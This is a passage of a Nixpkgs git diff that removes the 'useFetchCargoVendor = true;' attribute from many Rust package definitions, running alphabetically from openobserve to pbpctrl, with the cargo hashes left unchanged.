 
   OPENSSL_NO_VENDOR = true;
diff --git a/pkgs/by-name/op/openobserve/package.nix b/pkgs/by-name/op/openobserve/package.nix
index 6684c7d4f1e9..958b239c475d 100644
--- a/pkgs/by-name/op/openobserve/package.nix
+++ b/pkgs/by-name/op/openobserve/package.nix
@@ -63,7 +63,6 @@ rustPlatform.buildRustPackage {
     cp -r ${web}/share/openobserve-ui web/dist
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FWMUPghx9CxuzP7jFZYSIwZsylApWzQsfx8DuwS4GTo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/op/openpgp-ca/package.nix b/pkgs/by-name/op/openpgp-ca/package.nix
index 55195c940688..31dd0ac29cb6 100644
--- a/pkgs/by-name/op/openpgp-ca/package.nix
+++ b/pkgs/by-name/op/openpgp-ca/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-71SApct2yQV3ueWDlZv7ScK1s0nWWS57cPCvoMutlLA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uftsBw8ZegnaoFel/wEqCMhVxiGR13jKbKqVSm+23T4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/op/openpgp-card-tools/package.nix b/pkgs/by-name/op/openpgp-card-tools/package.nix
index 9776f4654915..d9d6bcbb4a47 100644
--- a/pkgs/by-name/op/openpgp-card-tools/package.nix
+++ b/pkgs/by-name/op/openpgp-card-tools/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pE7AAgps8LlsmM97q/XIi7If1UwNP/0uJH9wOeZ6neM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/OC/+eMRBF2MICVUtsJR0m62fWLP0lr10J/XkKGcPnA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/op/openscad-lsp/package.nix b/pkgs/by-name/op/openscad-lsp/package.nix
index d81a0e9ed106..8f5b422a9897 100644
--- a/pkgs/by-name/op/openscad-lsp/package.nix
+++ b/pkgs/by-name/op/openscad-lsp/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-IPTBWX0kKmusijg4xAvS1Ysi9WydFaUWx/BkZbMvgJk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qHwtLZUM9FrzDmg9prVtSf19KtEp8cZO/7XoXtZb5IQ=";
 
   # no tests exist
diff --git a/pkgs/by-name/op/openstack-rs/package.nix b/pkgs/by-name/op/openstack-rs/package.nix
index 836eac472b81..0ef83fa19afb 100644
--- a/pkgs/by-name/op/openstack-rs/package.nix
+++ b/pkgs/by-name/op/openstack-rs/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-n3tVkEDn5giAYxcFWI/sc0yCjK1A80L7+dp44QXoCc4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lu3OeBP2fHGX1SV1LnDv/RCAVhoEVZIRiMoXWJ3H4IQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/op/openvmm/package.nix b/pkgs/by-name/op/openvmm/package.nix
index 3cc2e402a036..f738ba85047d 100644
--- a/pkgs/by-name/op/openvmm/package.nix
+++ b/pkgs/by-name/op/openvmm/package.nix
@@ -34,7 +34,6 @@ rustPlatform.buildRustPackage {
   ];
 
   cargoHash = "sha256-u0E09yFssd71wUS1BD766ztDImauu90T/jIWOb2v0mE=";
-  useFetchCargoVendor = true;
 
   meta = with lib; {
     homepage = "https://github.com/microsoft/openvmm";
diff --git a/pkgs/by-name/or/oranda/package.nix b/pkgs/by-name/or/oranda/package.nix
index 5bdc6d8a3145..9b8caf125e99 100644
--- a/pkgs/by-name/or/oranda/package.nix
+++ b/pkgs/by-name/or/oranda/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FVd8NQVtzlZsDY40ZMJDdaX+6Q5jUxZHUq2v+kDFVOk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wPYgAbaoUVJoZT1nRCBsPziszkAubImZEKGrC2RAkEA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/or/ord/package.nix b/pkgs/by-name/or/ord/package.nix
index 29f9deb8bca1..67f6a29d9669 100644
--- a/pkgs/by-name/or/ord/package.nix
+++ b/pkgs/by-name/or/ord/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jYu9NPvs7nwgiqMCvZlLQqoYESwjKAYlhJ9ehev70EY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-U5bGNgiy98PK2Le5BbzCOAajeEKb/zYTIID1uOE6p3c=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/or/orogene/package.nix b/pkgs/by-name/or/orogene/package.nix
index f1fbb658b10c..7c58ecebee2a 100644
--- a/pkgs/by-name/or/orogene/package.nix
+++ b/pkgs/by-name/or/orogene/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     ./update-outdated-lockfile.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-I08mqyogEuadp+V10svMmCm0i0zOZWiocOpM9E3lgag=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/or/orz/package.nix b/pkgs/by-name/or/orz/package.nix
index 5115830ddc56..42832112ec1f 100644
--- a/pkgs/by-name/or/orz/package.nix
+++ b/pkgs/by-name/or/orz/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-PVso4ufBwxhF1yhzIkIwSbRJdnH9h8gn3nreWQJDMn4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vbhK4jHNhCI1nFv2pVOtjlxQe+b7NMP14z2Tk+no8Vs=";
 
   outputs = [
diff --git a/pkgs/by-name/os/oscavmgr/package.nix b/pkgs/by-name/os/oscavmgr/package.nix
index 32dc5578b1a8..4b5282f8eb1b 100644
--- a/pkgs/by-name/os/oscavmgr/package.nix
+++ b/pkgs/by-name/os/oscavmgr/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-592qj0dHn0fbIFt4Y+1TESIOUpwXcJ2tnlKNcYuxriQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1/jjZ1jkLvE/L1lHFL3RCx3ox2w15WWDp6aQJOtFkcU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ot/otadump/package.nix b/pkgs/by-name/ot/otadump/package.nix
index e1d5dcdbab23..6bd799b1750f 100644
--- a/pkgs/by-name/ot/otadump/package.nix
+++ b/pkgs/by-name/ot/otadump/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
 
   doCheck = false; # There are no tests
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6L1FJWEaDBqpJvj9uGjYuAqqDoQlkVwOWfbG46Amkkw=";
 
   meta = {
diff --git a/pkgs/by-name/ot/otree/package.nix b/pkgs/by-name/ot/otree/package.nix
index dfe72757daa4..2176bd9ed16c 100644
--- a/pkgs/by-name/ot/otree/package.nix
+++ b/pkgs/by-name/ot/otree/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-WvoiTu6erNI5Cb9PSoHgL6+coIGWLe46pJVXBZHOLTE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tgw1R1UmXAHcrQFsY4i4efGCXQW3m0PVYdFSK2q+NUk=";
 
   meta = {
diff --git a/pkgs/by-name/ou/ouch/package.nix b/pkgs/by-name/ou/ouch/package.nix
index 9044782ea4d4..1d01f5a84a9d 100644
--- a/pkgs/by-name/ou/ouch/package.nix
+++ b/pkgs/by-name/ou/ouch/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vNeOJOyQsjDUzScA1a/W+SI1Z67HTLiHjwWZZpr1Paw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mMoYJ3dLpb1Y3Ocdyxg1brE7xYeZBbtUg0J/2HTK0hE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ou/outfly/package.nix b/pkgs/by-name/ou/outfly/package.nix
index d16ccdcb2f47..b64956b1c3ce 100644
--- a/pkgs/by-name/ou/outfly/package.nix
+++ b/pkgs/by-name/ou/outfly/package.nix
@@ -49,7 +49,6 @@ rustPlatform.buildRustPackage rec {
     --add-rpath ${lib.makeLibraryPath runtimeInputs}
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5t6PPlfV/INqb4knz1Bv6dqw47RxUmVO0DSlQNUIQL4=";
 
   desktopItems = [
diff --git a/pkgs/by-name/ov/overlayed/package.nix b/pkgs/by-name/ov/overlayed/package.nix
index 0180aaa78cc8..a53d22b8c804 100644
--- a/pkgs/by-name/ov/overlayed/package.nix
+++ b/pkgs/by-name/ov/overlayed/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/apps/desktop/src-tauri";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6wN4nZQWrY0J5E+auj17B3iJ/84hzBXYA/bJsX/N5pk=";
 
   webui = callPackage ./webui.nix {
diff --git a/pkgs/by-name/ov/overskride/package.nix b/pkgs/by-name/ov/overskride/package.nix
index 7b76d5fd1630..bf704445f08d 100644
--- a/pkgs/by-name/ov/overskride/package.nix
+++ b/pkgs/by-name/ov/overskride/package.nix
@@ -36,7 +36,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-SqaPhub/HwZz7uBg/kevH8LvPDVLgRd/Rvi03ivNrRc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Axeywo7Ryig84rS/6MXl2v9Pe3yzdivq7/l/mfi5mOA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ow/owmods-cli/package.nix b/pkgs/by-name/ow/owmods-cli/package.nix
index b155d4b1f461..1cfe74527820 100644
--- a/pkgs/by-name/ow/owmods-cli/package.nix
+++ b/pkgs/by-name/ow/owmods-cli/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NIg8heytWUshpoUbaH+RFIvwPBQGXL6yaGKvUuGnxg8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kLuiNfrxc3Z8UeDQ2Mb6N78TST6c2f4N7mt4X0zv1Zk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ow/owmods-gui/package.nix b/pkgs/by-name/ow/owmods-gui/package.nix
index ec7538af48ee..213f7816901b 100644
--- a/pkgs/by-name/ow/owmods-gui/package.nix
+++ b/pkgs/by-name/ow/owmods-gui/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rTANG+yHE8YfWYUyELoKgj4El+1ZW6vI9NkgADD40pw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Y57EGKl/wJnZ/eTlKL984GlxMWTq/ZUT5Rns/MEGOCE=";
 
   buildFeatures = [
diff --git a/pkgs/by-name/ow/owofetch/package.nix b/pkgs/by-name/ow/owofetch/package.nix
index 7647a0712e4d..cd406d1b5c85 100644
--- a/pkgs/by-name/ow/owofetch/package.nix
+++ b/pkgs/by-name/ow/owofetch/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-I8mzOUvm72KLLBumpgn9gNyx9FKvUrB4ze1iM1+OA18=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0ON1h8+ruLOvBR7Q/hOIW6j+BjfPAAuYA2wrUYj59Ow=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ox/ox/package.nix b/pkgs/by-name/ox/ox/package.nix
index 93980b2e1bf2..2d5f04f75b21 100644
--- a/pkgs/by-name/ox/ox/package.nix
+++ b/pkgs/by-name/ox/ox/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-h4oC+TRLPKgXid4YIn2TdTxgEBvbBDy66jfbyA5ia4o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Vf5Y/rXykaYkrnTjVMShnGYikDIu2b1l2oDOiB0O95I=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/ox/oxide-rs/package.nix b/pkgs/by-name/ox/oxide-rs/package.nix
index 3176d0ffcdd1..068c7effa2f8 100644
--- a/pkgs/by-name/ox/oxide-rs/package.nix
+++ b/pkgs/by-name/ox/oxide-rs/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     leaveDotGit = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-We5yNF8gtHWAUAead0uc99FIoMcicDWdGbTzPgpiFyY=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/ox/oxigraph/package.nix b/pkgs/by-name/ox/oxigraph/package.nix
index 7aaa0f023f6d..87640542322b 100644
--- a/pkgs/by-name/ox/oxigraph/package.nix
+++ b/pkgs/by-name/ox/oxigraph/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nVlvmYOxZDMLvxP8JaKTyKMgW6+48B8B+UzlwgthJS0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ox/oxipng/package.nix b/pkgs/by-name/ox/oxipng/package.nix
index 6cb987c2ee65..4a3ff525461b 100644
--- a/pkgs/by-name/ox/oxipng/package.nix
+++ b/pkgs/by-name/ox/oxipng/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-UjiGQSLiUMuYm62wF7Xwhp2MRzCaQ9pbBBkvHnuspVw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sdhyxJDUlb6+SJ/kvfqsplHOeCEbA3ls66eur3eeVVA=";
 
   # don't require qemu for aarch64-linux tests
diff --git a/pkgs/by-name/ox/oxker/package.nix b/pkgs/by-name/ox/oxker/package.nix
index 1dc3cb54219e..f02df48e0482 100644
--- a/pkgs/by-name/ox/oxker/package.nix
+++ b/pkgs/by-name/ox/oxker/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-2xLTR5+0xtyYhc5+gYG78EMP/B5Vk6ZqEGsZwM2bAok=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-d6jaOtB6S8R6cdqLUnuPhDP6q9Hl6FTieFEiBibiDDE=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/ox/oxlint/package.nix b/pkgs/by-name/ox/oxlint/package.nix
index 7d3e3580ba05..745130c8f812 100644
--- a/pkgs/by-name/ox/oxlint/package.nix
+++ b/pkgs/by-name/ox/oxlint/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bnfo/4hRO9ZT9Rj1NX9o4Z8pbWKux7L08YH+owolYXI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OdV80+B/H/xMfZDeFw+oaoFLgJrIDsR3mDkfaSw5+W4=";
 
   buildInputs = [
diff --git a/pkgs/by-name/pa/pace/package.nix b/pkgs/by-name/pa/pace/package.nix
index 0c0ec89ac85d..d2289e9998dd 100644
--- a/pkgs/by-name/pa/pace/package.nix
+++ b/pkgs/by-name/pa/pace/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-gyyf4GGHIEdiAWvzKbaOApFikoh3RLWBCZUfJ0MjbIE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BuAVwILZCU6+/IBesyK4ZiefNmju49aFPyTcUUT1se8=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/pa/package-version-server/package.nix b/pkgs/by-name/pa/package-version-server/package.nix
index b5d56ee08cdd..a0c1d2095715 100644
--- a/pkgs/by-name/pa/package-version-server/package.nix
+++ b/pkgs/by-name/pa/package-version-server/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/YyJ8+tKrNKVrN+F/oHgtExBBRatIIOvWr9mAyTHA3E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/t1GPdb/zXe0pKeG/A4FKjKFFZ0zy2nT2PV8nxenKXc=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/pa/packetry/package.nix b/pkgs/by-name/pa/packetry/package.nix
index 5b1f603127af..a012d6ed43df 100644
--- a/pkgs/by-name/pa/packetry/package.nix
+++ b/pkgs/by-name/pa/packetry/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eDVom0kAL1QwO8BtrJS76VTvxtKs7CP6Ob5BWlE6wOM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-he+Y2vBCw5lmYe5x6myIxMKRIohBCLDQ/B1EV+4pKGs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pa/pactorio/package.nix b/pkgs/by-name/pa/pactorio/package.nix
index bbced1b8b592..6e07f0963470 100644
--- a/pkgs/by-name/pa/pactorio/package.nix
+++ b/pkgs/by-name/pa/pactorio/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-3+irejeDltf7x+gyJxWBgvPgpQx5uU3DewU23Z4Nr/A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1rqYp9OZ7hkZhrU813uBQAOZNdQ3j+OQdM6ia+t5cOc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pa/page/package.nix b/pkgs/by-name/pa/page/package.nix
index 2ec2c312dd54..21e625a4179e 100644
--- a/pkgs/by-name/pa/page/package.nix
+++ b/pkgs/by-name/pa/page/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-uNdtgx9/9+KOfQvHiKNrT8NFWtR2tfJuI2bMwywBC/4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZoLYnXU1y+7AcbxUlcY9MPGZuuxzG8d5Im2/uSlCoaw=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/pa/paging-calculator/package.nix b/pkgs/by-name/pa/paging-calculator/package.nix
index fc9ccd517c70..daeccc261ed7 100644
--- a/pkgs/by-name/pa/paging-calculator/package.nix
+++ b/pkgs/by-name/pa/paging-calculator/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mTHBARrcq8cJxzh80v/fGr5vACAMyy/DhN8zpQTV0jM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-v4dlZYlmKhCBPp9Yll/5nuLtJd54EAh+jTw4BVuYRB0=";
 
   meta = {
diff --git a/pkgs/by-name/pa/pam_rssh/package.nix b/pkgs/by-name/pa/pam_rssh/package.nix
index cc95d3acc04a..03059edd2c75 100644
--- a/pkgs/by-name/pa/pam_rssh/package.nix
+++ b/pkgs/by-name/pa/pam_rssh/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4DoMRtyT2t4degi8oOyVTStb0AU0P/7XeYk15JLRrqg=";
 
   postPatch = ''
diff --git a/pkgs/by-name/pa/panamax/package.nix b/pkgs/by-name/pa/panamax/package.nix
index c8c579a074d7..83fbae58203b 100644
--- a/pkgs/by-name/pa/panamax/package.nix
+++ b/pkgs/by-name/pa/panamax/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gIgw6JMGpHNXE/PZoz3jRdmjIWy4hETYf24Nd7/Jr/g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QjzmB9nKL2TfDNi7lOVaFSEfKiDSuYWnrmqeesrhuyQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/pa/pandoc-katex/package.nix b/pkgs/by-name/pa/pandoc-katex/package.nix
index a3f5b682795b..bae0ad8f607c 100644
--- a/pkgs/by-name/pa/pandoc-katex/package.nix
+++ b/pkgs/by-name/pa/pandoc-katex/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-2a3WJTNIMqWnTlHB+2U/6ifuoecbOlTP6e7YjD/UvPM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ve8s+LLjJiP/I+A/X23CnGiRsbfz5sxFr6kySAgYTyE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pa/paper-age/package.nix b/pkgs/by-name/pa/paper-age/package.nix
index c1a59f48b72d..b465bde582da 100644
--- a/pkgs/by-name/pa/paper-age/package.nix
+++ b/pkgs/by-name/pa/paper-age/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xoxrNNlpDFXuQwltZ52SkGe0z6+B4h1Jy4XRtvQDiAg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FO69bmUhP6S3MRbVZllxmpn1GuM8fplciAka46Dz2Yg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pa/parallel-disk-usage/package.nix b/pkgs/by-name/pa/parallel-disk-usage/package.nix
index 6075ee223d04..6062a77f2084 100644
--- a/pkgs/by-name/pa/parallel-disk-usage/package.nix
+++ b/pkgs/by-name/pa/parallel-disk-usage/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-yjNz51L/r1jqgeO0qhe8uR4Pn52acle+EmurZqVpWfI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-v+cJ1Hw4cae/8A1MpHbIfGRVamI58byqfBLNCKKAHWk=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pa/parinfer-rust-emacs/package.nix b/pkgs/by-name/pa/parinfer-rust-emacs/package.nix
index 161ca4cd6107..f48ac7b5bbb9 100644
--- a/pkgs/by-name/pa/parinfer-rust-emacs/package.nix
+++ b/pkgs/by-name/pa/parinfer-rust-emacs/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JYKFfbfpkvBRxYUDw2d6DD1mO27OKzdquSOhBk0lXr0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NUoBaaoPDpt19Avxyl6G9mmbcinm24aAvq6Z9Orb9a8=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pa/parinfer-rust/package.nix b/pkgs/by-name/pa/parinfer-rust/package.nix
index 556e4842cd2f..1c0c2b697163 100644
--- a/pkgs/by-name/pa/parinfer-rust/package.nix
+++ b/pkgs/by-name/pa/parinfer-rust/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-Q2fYogfn5QcNDEie4sUaVydAmDmcFXnsvz35cxPCf+M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-w/GMjNtKiMGYOfzSl5IZTeHBSp4C9Mu6+oogCqHxdb4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pa/parrot/package.nix b/pkgs/by-name/pa/parrot/package.nix
index 1d8c4e5ae0e6..cfffc021713f 100644
--- a/pkgs/by-name/pa/parrot/package.nix
+++ b/pkgs/by-name/pa/parrot/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-to1SVLzw2l06cqsVOopk9KH2UyGgJ4CwWagHxaDrf4Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-be/gGKCd8/VgcjzhyMKDl5TzAuavm1rPNYBm8RLTP90=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pa/parseable/package.nix b/pkgs/by-name/pa/parseable/package.nix
index ab2f9187c8d0..51178b54b7fc 100644
--- a/pkgs/by-name/pa/parseable/package.nix
+++ b/pkgs/by-name/pa/parseable/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-T37pI7adfKPDkCETcGcZVzcYVcxROSZLDrFhV4XO4tc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kVLUSu+9jW3M0YosmpZWDIKCj7GilZZibMMtufHPdfM=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/pa/paru/package.nix b/pkgs/by-name/pa/paru/package.nix
index 52278491e4ed..a84554eca9b4 100644
--- a/pkgs/by-name/pa/paru/package.nix
+++ b/pkgs/by-name/pa/paru/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     ./cargo-lock.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3tKoL2I6DHrRodhWFOi3mSxk2P5SxCush/Hz9Dpyo3U=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pa/passepartui/package.nix b/pkgs/by-name/pa/passepartui/package.nix
index c09f14ed8352..495a6bc37383 100644
--- a/pkgs/by-name/pa/passepartui/package.nix
+++ b/pkgs/by-name/pa/passepartui/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LV/2+oSGVBRrWaHP/u1PcCb1T6Nduna/lusakCZW+PM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JR5zOhYogBa+6xYYyc36n/x7f5JW1mnNi2cK5i9QMSM=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/pa/passerine/package.nix b/pkgs/by-name/pa/passerine/package.nix
index f9b14596e41e..5ac6ec32b40c 100644
--- a/pkgs/by-name/pa/passerine/package.nix
+++ b/pkgs/by-name/pa/passerine/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-TrbcULIJ9+DgQ4QsLYD5okxHoIusGJDw1PqJQwq1zu0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PCSwhq4VXd/Hvvcfd2gZskXVD106Zw5PVCgMdlapWRs=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pa/pastel/package.nix b/pkgs/by-name/pa/pastel/package.nix
index 01f2f3623b3a..40ba5ffcca9c 100644
--- a/pkgs/by-name/pa/pastel/package.nix
+++ b/pkgs/by-name/pa/pastel/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-kr2aLRd143ksVx42ZDO/NILydObinn3AwPCniXVVmY0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-u+1KDcC2KGqvmOk6k7hOHE16TMvDg92eMOdNMQQszug=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pa/patchy/package.nix b/pkgs/by-name/pa/patchy/package.nix
index 04f80161fd07..af0b7f3d1a68 100644
--- a/pkgs/by-name/pa/patchy/package.nix
+++ b/pkgs/by-name/pa/patchy/package.nix
@@ -18,7 +18,7 @@ rustPlatform.buildRustPackage {
     tag = "v${version}";
     hash = "sha256-7WAdfbnvsmaD8fMCJQ8dQenCDmLLxjVTj2DGcAhMxcg=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-QaFIu7YVixQsDGL5fjQ3scKMyr0hw8lEWVc80EMTBB8=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/pa/patsh/package.nix b/pkgs/by-name/pa/patsh/package.nix
index 3e850dece1b7..76592213bdb3 100644
--- a/pkgs/by-name/pa/patsh/package.nix
+++ b/pkgs/by-name/pa/patsh/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-d2Br4RAlKO7Bpse8sFbIDCIYd2fYvby0ar9oIbQS2jc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wJDWJFutOvAVou4IpAunrHnUgYmodDliqrmPUai8pVo=";
 
   nativeCheckInputs = [ custom ];
diff --git a/pkgs/by-name/pa/pay-respects/package.nix b/pkgs/by-name/pa/pay-respects/package.nix
index a98ae0d5c4e7..08bd477cb291 100644
--- a/pkgs/by-name/pa/pay-respects/package.nix
+++ b/pkgs/by-name/pa/pay-respects/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-+50MKpZgJqjuUvJeFFv8fMILkJ3cOAN7R7kmlR+98II=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TJP+GPkXwPvnBwiF0SCkn8NGz/xyrYjbUZKCbUUSqHQ=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/pa/pazi/package.nix b/pkgs/by-name/pa/pazi/package.nix
index 59aad8623053..ec3968612093 100644
--- a/pkgs/by-name/pa/pazi/package.nix
+++ b/pkgs/by-name/pa/pazi/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ installShellFiles ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/r/nRQ/7KyUmJK19F557AcxXEXa85E/CE6+YFU6DdR4=";
 
   postInstall = ''
diff --git a/pkgs/by-name/pb/pbpctrl/package.nix b/pkgs/by-name/pb/pbpctrl/package.nix
index 8243e5b02331..21b4001dbd01 100644
--- a/pkgs/by-name/pb/pbpctrl/package.nix
+++ b/pkgs/by-name/pb/pbpctrl/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-XSRJytPrRKKWhFTBQd3Kd1R3amdecGNTmJS4PmFL6kg=";
   };
 
-  useFetchCargoVendor = true;
